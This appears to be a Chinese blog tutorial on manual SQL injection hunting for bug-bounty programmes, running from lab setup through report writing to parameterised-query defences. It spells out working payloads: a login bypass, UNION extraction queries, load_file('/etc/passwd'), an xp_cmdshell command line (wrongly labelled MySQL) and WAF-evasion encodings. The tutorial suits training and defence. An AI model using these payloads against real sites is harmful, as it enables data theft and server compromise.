1. 从零认识SQL注入漏洞
SQL注入(SQL Injection)是Web安全领域最古老却依然活跃的漏洞类型之一。简单来说,就是攻击者通过构造特殊输入,改变后端SQL查询的原始逻辑。想象一下,你设计了一个用户登录表单,期望用户输入用户名和密码后,系统执行这样的查询:
sql复制SELECT * FROM users WHERE username='输入的用户名' AND password='输入的密码'
但如果用户在用户名输入框填入 admin'--,查询就变成了:
sql复制SELECT * FROM users WHERE username='admin'--' AND password='任意字符'
--在SQL中表示注释,这意味着密码检查被完全绕过。如果系统中存在admin账户,攻击者就能直接以管理员身份登录——这就是最基础的SQL注入攻击。
在SRC(Security Response Center)漏洞挖掘中,SQL注入始终是重点目标。根据我多年实战经验,这类漏洞在各类厂商的漏洞奖励计划中占比约30%,且高危比例极高。不同于XSS或CSRF等漏洞,成功的SQL注入往往能直接导致数据泄露、权限提升甚至服务器沦陷。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 漏洞挖掘环境准备
2.1 基础工具链配置
工欲善其事,必先利其器。以下是经过我实战验证的工具组合:
-
浏览器插件:
- HackBar:快速构造和发送Payload
- Wappalyzer:识别网站技术栈
- Cookie-Editor:管理会话状态
-
代理工具:
- Burp Suite Community:拦截修改流量(必备)
- OWASP ZAP:自动化扫描辅助
-
专用检测工具:
- sqlmap:自动化注入检测(慎用,易触发防护)
- Ghauri:基于Python的注入框架
重要提示:在SRC测试中,务必先阅读平台规则。部分厂商明确禁止使用sqlmap等自动化工具,手动测试是更稳妥的选择。
2.2 测试靶机搭建
建议本地搭建以下环境练习:
- DVWA(Damn Vulnerable Web Application)
- WebGoat
- sqli-labs
以DVWA为例,安装步骤:
bash复制# 使用Docker快速部署
docker run --rm -it -p 80:80 vulnerables/web-dvwa
访问http://localhost,默认账号admin/password,安全级别设为"Low"开始练习。
3. 手工注入实战全流程
3.1 注入点探测技巧
寻找可能存在注入的参数:
- URL查询参数(
?id=1) - 表单输入框(登录/搜索框)
- HTTP头部(Cookie/User-Agent等)
经典探测手法:
- 数字型参数:尝试
id=1+1,观察是否返回id=2的结果 - 字符串参数:输入单引号
',观察是否报错 - 布尔测试:
id=1 and 1=1vsid=1 and 1=2,看结果差异
案例:某电商网站商品页URL为/product?id=38,测试过程:
code复制原始请求:/product?id=38 → 正常显示商品
测试1: /product?id=38-1 → 显示id=37的商品(确认数字型注入)
测试2: /product?id=38' → 报错"SQL syntax near '''"
3.2 信息提取技术
确认注入存在后,逐步提取信息:
- 判断字段数(为UNION查询做准备):
sql复制/product?id=1 order by 5-- -- 正常
/product?id=1 order by 6-- -- 报错 → 字段数为5
- 确定回显位:
sql复制/product?id=-1 union select 1,2,3,4,5--
观察页面哪些位置显示数字,即为可回显字段
- 获取数据库信息:
sql复制/product?id=-1 union select 1,database(),version(),user(),5--
3.3 高级利用技巧
- 盲注技术(当无直接回显时):
sql复制/product?id=1 and substring(database(),1,1)='a'-- -- 通过响应时间/内容差异判断
- 文件读写(需高权限):
sql复制/product?id=1 union select 1,load_file('/etc/passwd'),3,4,5--
- OS命令执行(MySQL):
sql复制/product?id=1;exec master..xp_cmdshell 'whoami'--
4. 绕过现代WAF的奇技淫巧
现代WAF(Web应用防火墙)越来越智能,但仍有绕过方法:
4.1 编码混淆技术
- URL编码:
'→%27 - 双重编码:
'→%2527 - Unicode编码:
'→%u0027
4.2 特殊语法绕过
sql复制/*!50000select*/ version() -- MySQL版本特定语法
SELECT[column_name]FROM[table_name] -- 中括号替代空格
4.3 分段传输
通过HTTP头部注入:
code复制POST /search HTTP/1.1
...
X-Forwarded-For: 1.1.1.1', (select version())), '1
5. SRC报告编写要点
一份优质的漏洞报告应包含:
-
清晰的重现步骤:
- 从正常请求开始
- 逐步展示如何构造恶意请求
- 附截图/视频证明
-
影响证明:
- 获取到的敏感数据样本(需脱敏)
- 可能的攻击场景分析
-
修复建议:
- 参数化查询示例代码
- 输入过滤的正则表达式
- 相关安全配置建议
示例报告结构:
code复制标题:SQL注入漏洞导致用户数据泄露
风险等级:高危
影响范围:/api/userinfo接口
重现步骤:
1. 正常请求:GET /api/userinfo?id=123
2. 注入测试:GET /api/userinfo?id=123'
3. 数据提取:GET /api/userinfo?id=-1 union select...
建议方案:
1. 使用PreparedStatement
2. 添加输入验证正则:^[0-9]+$
6. 防御体系构建
6.1 开发层面
- 参数化查询(绝对不要拼接SQL):
java复制// 错误示范
String sql = "SELECT * FROM users WHERE id = " + input;
// 正确做法
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
stmt.setInt(1, Integer.parseInt(input));
- ORM框架注意事项:
即使使用Hibernate等ORM,不当使用仍可能注入:
java复制// 错误用法
Query query = session.createQuery("from User where name = '" + name + "'");
// 正确用法
Query query = session.createQuery("from User where name = :name");
query.setParameter("name", name);
6.2 运维层面
- 最小权限原则:数据库账户只赋予必要权限
- 定期审计:监控异常SQL查询日志
- WAF规则更新:及时同步最新防护规则
7. 实战中的血泪教训
-
测试边界把控:
某次测试中,我使用SELECT * FROM users验证注入,导致全表数据加载,服务器瞬间崩溃。正确做法是始终添加LIMIT:sql复制SELECT username FROM users LIMIT 1 -
时间盲注的坑:
在测试时间盲注时,误设sleep(10)导致请求堆积,触发厂商告警。应使用更温和的sleep(2)。 -
编码问题:
某次测试GBK编码网站时,利用%bf%27触发转义漏洞成功注入,但报告时忘记说明编码环境,导致厂商无法复现。 -
法律红线:
绝对不要尝试DROP TABLE、SHUTDOWN等破坏性操作,这已超出安全测试范畴,可能面临法律风险。
真正的SQL注入高手不是会多少种Payload,而是能准确判断漏洞场景,用最小的影响完成验证,给出专业的修复方案。在SRC漏洞挖掘中,保持技术好奇心同时严守职业操守,才能在这个领域长久发展。
